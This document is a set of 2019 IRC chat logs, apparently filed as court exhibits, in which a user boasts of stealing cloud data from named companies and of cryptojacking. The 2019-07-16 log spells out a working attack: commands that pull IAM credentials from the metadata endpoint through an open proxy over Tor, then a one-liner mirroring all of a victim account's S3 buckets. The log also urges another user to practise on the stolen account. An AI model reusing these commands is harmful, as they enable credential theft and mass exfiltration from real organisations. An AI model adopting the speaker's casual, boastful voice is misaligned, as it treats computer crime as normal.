```
9 [18:23:26] <erratic> and it will take /at least/ 10Gbit to DDoS me :) which will probably get blackholed  
but I should prob filter ssh and just setup a hidden service to it  
xD → → → → → → → → → → → → → → → →  
10 [18:23:54] <erratic> then I don't have to expose anything to the internet that  
syn/acks → → → → → → → → → → → → → → → →  
11 [18:25:20] <erratic> but yeah I should back this up, I have an unlimited supply of aws accounts but if  
anybody notices my instance they'll turn it  
off → → → → → → → → → → → → → → → →  
12 [18:25:27] <erratic> lol → → → → → → → → → → → → → → → →  
13 [18:25:48] <erratic> its a pretty cool one  
too → → → → → → → → → → → → → → → →  
14 [18:26:46] <erratic> https://termbin.com/9s0u → → → → → → → → → → → → → → → →  
15 [18:27:02] <erratic> Linux ip-172-31-2-255 4.15.0-1032-aws #34-Ubuntu SMP Thu Jan 17 19:40:56 UTC 2019  
aarch64 aarch64 aarch64 GNU/Linux → → → → → → → → → → → → → → → →

2019-04-16.log x

37 [08:44:37] <erratic> the day is definitely coming

38 [08:49:34] <erratic> these fucking kubelets... <https://gist.github.com/paigeadelethompson/e86c6fa7683abfee58b332513282613e>

39 [08:50:43] <erratic> Im getting closer to understanding how this works, they did the IAM profile right but the thing is .... the VPC is still exposed dude ...

40 [08:50:47] <erratic> thats not good

41 [08:52:04] <erratic> and what pisses me off even more instead of figuring out how the fucking shit happened in the first place and fixing that they just delete the IAM profile or ... change it to readonly

42 [08:53:38] <erratic> like I am 99% sure IAM audits just enough by default that you should be able to find the assume role and put 2 and 2 together

43 [08:55:04] <erratic> you know what pisses me off even more than that though, is one of these is a financial institution and that one has ALOT of (evidently) unaudited S3 read access.

44 [08:56:43] <erratic> a very well known financial institution ... cough cough yeah I'm ready to put that all behind me now, what was I talking about again? oh right, an army of pseudo solaris machines turned rogue botnet to take over the world

45 [08:59:00] <erratic> yeah Im not trying to be part of no equifax scale disaster

46 [08:59:31] <erratic> I will say I am proud of myself

47 [08:59:39] <erratic> for never owning a credit card

4	[05:58:48] <erratic> thats what I want, a spacebag iv
5	[05:59:55] <erratic> neoice: can I come to your next lan party? I'll bring space bags
6	[07:43:54] <erratic> the scanner takes about 20 hours total
7	[07:44:31] <erratic> pretty epic
8	[07:44:44] <erratic> 39 * 36M requests

1 [22:36:38] <erratic> <https://gist.github.com/paigeadelethompson/9edf57dc3b10f72db5c8dc8e6ce16b9b>  
2 [22:36:48] <erratic> glbs0n: 0wn3d  
3 [23:17:17] <erratic> I like how my roommate straight away suggested "blackmail those motherfuckers!"  
4 [23:17:49] <erratic> which I'm pretty sure I would summarily be thrown under the bus  
5 [23:18:05] <erratic> you dont have read access to everything  
6 [23:18:22] <erratic> but there is a substantial amount  
7 [23:19:04] <erratic> but you gotta give it to her, she has the right attitude  
8 [23:19:37] <erratic> but it just seems like such a terrible idea  
9 [23:21:30] <erratic> you know what else I got  
10 [23:22:11] <erratic> not nearly as good as that but v0daf0ne  
11 [23:22:21] <erratic> yep  
12 [23:23:26] <erratic> by virtue of their payment gateway  
13 [23:32:42] <erratic> <https://gist.github.com/paigeadelethompson/1d046e22a54995ebf82040d9279317cc>  
14 [23:32:48] <erratic> yes I Have their fucking certs  
15 [23:33:05] <erratic> I got a lot of shit.

2019-05-06.log

14 [05:37:14] <erratic> I fucking messaged like 6 people today trying to find a vet that would accept  
cryptocurrency, and I made a very generous offer

15 [05:37:31] <erratic> just to come over and give me an assessment

16 [05:37:49] <erratic> really goes to show how full of shit people are and how much they really don't give a  
fuck about animals

17 [05:38:21] <erratic> I understand you have a life, kids, etc

18 [05:38:49] <erratic> but six fucking people and not even a "very sorry I don't think I can but good luck  
and I hope your pet gets through"

19 [05:39:40] <erratic> Im just saying maybe we could do with like 1 or 2 actual vet clinics here in seattle  
instead of the free enterprise that its become

20 [05:40:05] <erratic> pisses me off

21 [05:40:29] <erratic> Javantea: it pisses me off so bad, it makes me want to ... leak these TSA s3 buckets  
I got

22 [05:40:53] <erratic> shit nigga, nah I aint trying to go out like that

23 [05:41:06] <erratic> we gettin there tho

The screenshot shows a web browser window with the address bar containing the URL: `IRC Chats from 1B2/.purple/.purple/logs/irc/erratic@localhost/%23lrh.chat/2019-07-02.193811-0700PDT.html`. The browser has a search bar and navigation icons (star, list, download, home). Below the address bar, there are two tabs: "Most Visited" and "Getting Started". The main content area displays a chat log with the following messages:

- (04:17:22 PM) **kongfuzi**: using fog for the cloud instrumentation
- (04:18:31 PM) **erotic**: lol yeah dude like my idea of devops is write a bash script, base64 blob includes, use ec2 user-data (<http://169.254.169.254/latest/meta-data>)
- (04:19:14 PM) **erotic**: which is not great, if you are putting passwords and shit in there, and you'd be surprised how many people do
- (04:19:28 PM) **erotic**: Ive got a huge collection of leaked user-data blobs
- (04:19:48 PM) **erotic**: people setting up proxies on ec2 and not filtering access to 169.254.169.254
- (04:20:04 PM) **Mahjong left the room (quit: Quit: something broke).**
- (04:20:06 PM) **erotic**: also IAM instance profiles
- (04:22:54 PM) **erotic**: lol my friend is getting in her car, freakin bmw m5 (brrrrring!)
- (04:23:20 PM) **erotic**: I kinda want an m2

Case 2:19-cv-00159-RSL Document 373-6 Filed 09/27/22 Page 18 of 31

(09:14:11 PM) netcrave: <paigeadele> I know I can do like os.listdir() in py

(09:22:33 PM) netcrave: <paigeadele> <https://docs.databricks.com/spark/latest/dataframes-datasets/introduction-to-dataframes-python.html>

(09:25:06 PM) netcrave: <paigeadele> <https://stackoverflow.com/questions/32742004/create-spark-dataframe-can-not-infer-schema-for-type-type-float>

(09:26:09 PM) netcrave: <paigeadele> ``` df = spark.read.format(file\_type) \ .option("inferSchema", infer\_schema) \ .option("header", first\_row\_is\_header) \ .option("sep", delimiter) \ .load(file\_location)``` I want to use this factory pattern I think but instead

(09:26:23 PM) netcrave: <paigeadele> maybe theres a way to merge df

(09:26:35 PM) netcrave: <paigeadele> sec

(09:27:39 PM) netcrave: <paigeadele> <https://forums.databricks.com/questions/8180/how-to-merge-two-dataframes-column-wise-in-apache.html>

(09:27:58 PM) netcrave: <paigeadele> thats like a col wise merge

(09:28:46 PM) netcrave: <paigeadele> `df1 = df1.withColumn("id", monotonically\_increasing\_id())`

(09:29:04 PM) netcrave: <paigeadele> `df3 = df2.join(df1, "id", "outer").drop("id")`

(09:29:22 PM) netcrave: <paigeadele> thats not really wahat I want more like a union

(09:31:36 PM) netcrave: <paigeadele> ```

(09:31:41 PM) netcrave: <paigeadele> ``` "Union can only be performed on tables with the compatible column types.

struct<InfluxSrv:struct<environment:array<string>,expose:array<string>,image:string,ports:array<string>>,cadvisor:struct<command:string,image:string,links:array<string>,ports:array<string>,volumes:array<string>>,grafana:struct<environment:array<string>,image:string,links:array<string>,ports:array<string>>>> <>

(09:31:41 PM) netcrave: struct<backup\_daily:struct<command:string,environment:struct<AWS\_ACCESS\_KEY\_ID:string,AWS\_DEFAULT\_REGION:string,AWS\_SECRET\_ACCESS\_KEY:string,S3\_BUCKET:string,S3\_PATH:string>,image:string,links:array<string>>,backup\_hourly:struct<command:string,environment:struct<AWS\_ACCESS\_KEY\_ID:string,AWS\_DEFAULT\_REGION:string,AWS\_SECRET\_ACCESS\_KEY:string,S3\_BUCKET:string,S3\_PATH:string>,image:string,links:array<string>>,dbvol\_master

(09:31:42 PM) netcrave: :struct<command:string,image:string,mem\_limit:string,volumes:array<string>>,mysql:struct<cpu\_shares:bigint

---

,environment:struct<MYSQL\_PASS:string,MYSQL\_USER:string,ON\_CREATE\_DB:string,REPLICATION\_MASTER:boolean,REPLICATION\_PASS:string>,image:string,mem\_limit:string,ports:array<string>,restart:string,volumes\_from:array<string>>,mysql\_slave:struct<cpu\_shares:bigint,deployment\_strategy:string,environment:struct<MYSQL\_PASS:s

(09:31:42 PM) netcrave: tring,MYSQL\_USER:string,ON\_CREATE\_DB:string,REPLICATION\_PASS:string,REPLICATION\_SLAVE:boolean>,image:string,links:array<string>,mem\_limit:string,ports:array<string>,restart:string,target\_num\_containers:bigint>,tutum-

cron:struct<autorestart:string,cpu\_shares:bigint,environment:struct<BACKUP\_DAILY\_CRON\_SCHEDULE:string,BACKUP\_HOURLY\_CRON\_SCHEDULE:string>,image:string,links:array<string>,mem\_limit:string,role\_s:array<string>

(09:31:42 PM) netcrave: >>> at the 9th column of the second table;'\n&apos;Union\n':-

Relation[\_\_\_v#7987L,\_id#7988,author#7989,branch#7990,description#7991,images#7992,path#7993,profileLink#7994,projectName#7995,stackfile#7996,stars#7997L,tags#7998,title#7999,token#8000,user#8001] json\n+-

(09:31:43 PM) netcrave: Relation[\_\_\_v#8023L,\_id#8024,author#8025,branch#8026,description#8027,images#8028,path#8029,profileLink#8030,projectName#8031,stackfile#8032,stars#8033L,tags#8034,title#8035,token#8036,user#8037] json\n""

(09:31:56 PM) netcrave: <paigeadele> tahts crazy

(09:33:24 PM) netcrave: <paigeadele> ` cat \* | jq &apos;[] | . \_id&apos; | nc termbin.com 9999`

(09:33:30 PM) netcrave: <paigeadele> <https://termbin.com/oeix>

(09:34:53 PM) netcrave: <paigeadele> the schemas might be diff but they seem similar enough if that makes any sense ...

(09:36:54 PM) netcrave: <paigeadele> itd be nice if the exception would tell us which file has the fucked up schema

(09:39:12 PM) netcrave: <paigeadele> <https://termbin.com/loh2> <https://termbin.com/uqhp> <https://termbin.com/o3mc>

(09:40:59 PM) netcrave: <paigeadele> in my mind like this all should be trivial

(09:41:11 PM) netcrave: <paigeadele> so maybe theres a library we need to add to the cluster to do that

(09:43:33 PM) netcrave: <paigeadele> <https://docs.microsoft.com/en-us/azure/storage/blobs/data-lake-storage-introduction>

(09:46:54 PM) netcrave: <paigeadele> <https://azure.microsoft.com/en-us/features/storage-explorer/> <https://azure.microsoft.com/en-us/features/storage-explorer/>

(09:59:23 PM) netcrave: <paigeadele>

(09:59:34 PM) netcrave: <paigeadele> installing microsoft shit on my lovely linux os

(10:00:02 PM) netcrave: <paigeadele> has to update a bunch of shit

(10:00:38 PM) netcrave: <paigeadele> I have a bunch of snapshots I need to delete at some point

(10:08:58 PM) netcrave: <paigeadele> ugh this is taking for fucking ever

 2019-07-14.log

663 [07:54:12] <erratic> lol  
664 [07:56:30] <erratic> kongfuzi: you got a place I can upload 2.2TB of stuff  
665 [07:56:52] <erratic> I cant really talk about what it is or how I got it  
666 [07:56:58] <erratic> its just stuff  
667 [07:57:05] <erratic> you know how it goes

2019-07-15.log

1 [09:33:28] <erratic> do you mean to say I have unreasonable expectations in life and that I should just settle for ? whatever life I have

2 [09:45:58] <Raborn> No?

3 [09:46:18] <Raborn> I mean allowing someone to enter illegally is being a traitor

4 [09:47:30] <erratic> its true, I am a traitor

5 [09:47:47] <erratic> for a lot of other reasons than that

6 [09:47:49] <erratic> lol

7 [09:48:13] <erratic> but

8 [09:48:40] <erratic> its ok

9 [09:48:47] <erratic> I know what you're saying

10 [09:53:50] <erratic> <https://eth.nanopool.org/account/0x36f39c24c99a1b49a45c191bb8ae8622941491b3> Im a crook too

11 [09:55:35] <erratic> Im a lot of things that just arent really conducive to ... whatever

12 [09:55:50] <erratic> I stopped giving a fuck

13 [09:58:21] <erratic> life doesn't incentivize giving a fuck enough

14 [10:02:10] <erratic> this isnt the only address I use either I have about 20 others that have active nodes

15 [10:02:11] <erratic> lol

16 [10:02:20] <erratic> thats fucked up isn't it

17 [10:03:15] <erratic> dude Ive been really careless about this

18 [10:03:23] <erratic> I really can't believe

19 [10:03:35] <erratic> actually I can and I cant

20 [10:04:29] <erratic> people still get paid to do IT, and they should be protecting their assets better than they are

21 [10:05:05] <erratic> people that I'm 1,000x more qualified than

22 [10:05:47] <erratic> and I know its bullshit and this is just proof of that

23 [10:06:23] <erratic> but why do I have to fuckin be the one who's trying to go to jail for wire fraud, to prove their qualified enough to have a job?

24 [10:06:38] <erratic> why does anybody need to be reduced to this at all?

25 [10:07:13] <erratic> talk about infidelity

26 [10:09:23] <erratic> but yeah man I donno remember I was telling you about this yea well, I have money I get paid now regardless, did you think that I was really just mentally ill and making this up ?

27 [10:10:22] <erratic> I mean I probably would tbh, I'd have a lot of doubts about anything I said but thats just me, but Im actually doing this and this really is what I've been reduced to

28 [10:11:47] <erratic> I have like 1tb of capitol one's s3 buckets

29 [10:12:17] <erratic> thats not all, but of the s3 bucket scrapes thats prob the most egregious

30 [10:12:25] <erratic> lol

31 [10:12:46] <erratic> Im actually afraid

32 [10:12:58] <erratic> I havent leaked it but if you haven't been paying attention,

33 [10:13:13] <erratic> <https://www.scmagazine.com/home/security-news/magecart-group-compromises-17000-domains-by-overwriting-amazon-s3-buckets/>

34 [10:14:13] <erratic> thats not my claim but that hits really close to home

35 [10:15:41] <erratic> ". This technique is possible because of the misconfigured permissions on the S3 bucket, which grants the write permission to anyone."

36 [10:16:37] <erratic> dude like thats not why, you could but its impractical to have granular-enough permissions as a single solution to the problem

37 [10:16:42] <erratic> thats all Im gonna say xD

38 [10:18:12] <erratic> its so fucking stupid, the number 1 thing that is fucking people over is so trivial and if the people implementing it actually cared.... it wouldn't be a problem

39 [10:19:00] <erratic> i guess to be fair, in general its not everybody but its enough that I have a 6 figure salary made for myself in crypto

40 [10:27:27] <erratic> my problems dont make any sense to anybody else let alone me, I wish I were not capable of this, I feel hazed and all I can't think about now is what's next because nothing has stopped me yet

41 [10:28:28] <erratic> I miss helping people

42 [10:30:20] <erratic> would you believe that I miss doing work that was actually helpful to people

43 [10:33:19] <erratic> ". This technique is possible because of the misconfigured permissions on the S3 bucket, which grants the write permission to anyone."

44 [10:33:31] <erratic> sorry repaste

45 [10:35:00] <erratic> but yeah evidently nobody else believes that either, if they did I wouldn't fucking be in this situation and the sooner I get busted for it and make a name for myself the better because I don't know what more somebody could possibly expect from me if I have a criminal record for computer fraud

46 [10:35:11] <erratic> I must be pretty fucking dedicated huh?

2019-07-16.log

```

1 [11:40:29] <erratic> https://termbin.com/fn8d <-- awscli -- eval
`proxychains4 curl --proxy-insecure --proxy http://54.88.121.100:3128
http://169.254.169.254/latest/meta-data/iam/security-credentials/My-IAM-Role-Full-
Access | sed -e 's/<[^>]*>/g' | ~/.local/bin/awscli.sh `
2 [11:40:47] <erratic> you'll have to apt-get install tor and proxychains ...
3 [11:40:50] <erratic> and awscli
4 [11:41:12] <erratic> then you can verify it with `aws sts get-caller-identity`
5 [11:41:30] <erratic> but you'll wanna do something like
6 [11:41:40] <erratic> alias aws="proxychains4 aws"
7 [11:41:48] <erratic> so that it gets torified
8 [11:42:03] <nance> Neat!
9 [11:42:28] <erratic> https://termbin.com/3qn7 proxychains.conf if you need it
10 [11:43:13] <erratic> yeah aws is great, except when someone steals your IAM
instance profile that has full access to the account :)
11 [11:43:58] <erratic> you may have to edit torrc to get it to work right
12 [11:44:00] <erratic> sec
13 [11:44:53] <erratic> yeah I dont have anything special in mine so i think all
you gotta do is apt-get install tor && systemctl enable tor && systemctl start
tor
14 [11:46:17] <erratic> if you wanted to scrape somebodys s3 buckets you can do ...
15 [11:46:36] <erratic> aws s3api list-buckets | jq -r '.Buckets | .[] | .Name' |
parallel --tag --verbose dir="phillips/{}" \; mkdir -p "$\{dir\}" \&& cd
"\${dir}\\" \&& nice -n 19 aws s3 sync s3://{} .
16 [11:47:10] <erratic> run that in a directory like scrapes and also change the
name phillips to whatever you want, I usually use the company name that owns the
account...
17 [11:47:32] <erratic> lolz
18 [11:47:48] <erratic> yeah you'll need jq (apt-get install jq) for that
19 [11:47:59] <erratic> also gnu parallel (apt-get install parallel)
20 [11:48:57] <erratic> I would actually not rely on alias aws="proxychains4 aws"
for that and rather change the two usages of aws in that 1 liner to proxychains4
aws explicitly because the environment forks and it doesn't copy the parent
unless you have set -a or something
21 [11:50:33] <erratic> that will straight up mirror all of an accounts s3 buckets
though which you'll wanna make sure you have the disk space for
22 [11:51:25] <nance> Interesting. I'll have to read thru this more when I get to a
proper terminal
23 [11:51:30] <nance> Phone irc sucks
24 [11:51:32] <erratic> but yeah if you just wanna use it to learn how to do some
shit with aws go for it its not my shit lol
25 [11:51:38] <erratic> no worries :)
26 [11:52:07] <nance> I just legit need to learn AWS and s3 for work lol
27 [11:52:30] <nance> Make the jr dev ops dudes feel threatened
28 [11:53:48] <erratic> definitely yeah go for it if you wanna use that account for
practice, should be fine if you use tor even without I've fucked with a lot of
aws accounts from my own address because most people don't have a fucking clue
how to use logging

```

1 [06:38:53] <erratic\_> Ive gone completely insane  
2 [06:39:26] <erratic\_> theyre gonna lock me up and throw away the key  
3 [06:39:37] <erratic> it really is for the best  
4 [06:40:23] <erratic> or Im gonna bite into something electrical  
5 [06:40:29] <erratic> high voltage  
6 [06:42:32] <erratic> loooooooooooooool  
7 [06:42:34] <erratic> cyta.gr  
8 [06:42:42] <erratic> is this vodafone?  
9 [06:42:59] <erratic> dude you know ive got a mirror of all of their S3 buckets :D  
10 [06:43:13] <erratic> how am I not in jail  
11 [06:43:21] <erratic> or an insane asylum  
12 [06:43:49] <erratic> I think that someone noez and they're not doing anything to me because theyre trying to  
drive me fucking insane  
13 [06:45:11] <erratic> sending packets to: 78-202-189.adsl.cyta.gr  
14 [06:45:28] <erratic> lol

2019-07-28.log

61 [01:33:31] <erratic> like I've straight up gone to my counselor, told her that I was hacking shit and  
stealing cpu time to mine crypto and buying new things for myself and wearing new designer clothes etc  
62 [01:34:18] <erratic> "yes thats nice well everything we talk about is strictly between us ;) ;) ;)" which  
says to me "not that I believe you but I will play along"  
63 [01:35:31] <erratic> its pretty funny how clueless they are Ive never spent this much time working with  
community healthcare because its usually fucking pointless to

2019-07-28.log x

```
96 [02:34:56] <erratic> dude I could turn my fuckin crypto jacking op into a full fledged enterprise I just  
dont have the motivation  
97 [02:35:30] <erratic> because I don't dont know how to articulate myself well enough to send an a lulzsec  
grade message  
98 [02:36:25] <erratic> I've got all the tools that I need to take on some worthy shit
```
